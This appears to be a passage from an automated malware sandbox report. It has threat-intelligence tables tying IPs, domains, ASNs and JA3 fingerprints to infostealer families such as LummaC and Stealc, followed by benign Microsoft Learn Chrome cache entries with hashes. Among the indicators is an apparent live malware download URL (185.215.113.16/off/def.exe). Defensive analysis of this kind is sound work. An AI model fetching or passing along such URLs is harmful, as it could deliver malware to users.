	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	193.143.1.19
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	193.143.1.19
	file.exe	Get hash	malicious	LummaC	Browse	193.143.1.19
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	XzCRLowRXn.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://www.hopp.bio/granovitasau	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	vbaProject.bin.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	new.vbs	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
s-part-0039.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	https://www.tryinteract.com/share/quiz/673350c22861f600153c2f9c	Get hash	malicious	Unknown	Browse	13.107.246.67
	Sampension-file-846845087.pdf	Get hash	malicious	Captcha Phish	Browse	13.107.246.67
	D6IxIqHIcS.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.67

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	https://www.hopp.bio/granovitasau	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.101.168.44
	vbaProject.bin.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	20.189.173.25
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	x86.elf	Get hash	malicious	Unknown	Browse	40.109.172.103
	hoD5yzplb1.exe	Get hash	malicious	IcedID	Browse	13.107.246.45
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	https://www.hopp.bio/granovitasau	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.101.168.44
	vbaProject.bin.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	20.189.173.25
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	x86.elf	Get hash	malicious	Unknown	Browse	40.109.172.103
	hoD5yzplb1.exe	Get hash	malicious	IcedID	Browse	13.107.246.45
CLOUDFLARENETUS	https://bit.ly/3UPULW4?LmB=chMAG137nz	Get hash	malicious	Unknown	Browse	104.22.1.232
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	4c9ebxnhQk.exe	Get hash	malicious	Unknown	Browse	104.26.9.44
	o4QEzeCniw.exe	Get hash	malicious	Unknown	Browse	104.26.9.44
	XzCRLowRXn.exe	Get hash	malicious	Unknown	Browse	104.16.123.96
	4c9ebxnhQk.exe	Get hash	malicious	Unknown	Browse	172.67.69.226
	o4QEzeCniw.exe	Get hash	malicious	Unknown	Browse	104.16.124.96
	XzCRLowRXn.exe	Get hash	malicious	Unknown	Browse	172.67.69.226
	https://www.hopp.bio/granovitasau	Get hash	malicious	Unknown	Browse	172.66.0.227
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://bit.ly/3UPULW4?LmB=chMAG137nz	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	https://www.hopp.bio/granovitasau	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	vbaProject.bin.xls	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	11sds_Invoice_9334749.html	Get hash	malicious	WinSearchAbuse	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	FSVAUIEMDNKSA_Invoice_Pdf.html	Get hash	malicious	WinSearchAbuse	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	52.149.20.212 184.28.90.27 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	vbaProject.bin.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	hoD5yzplb1.exe	Get hash	malicious	IcedID	Browse	188.114.96.3

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
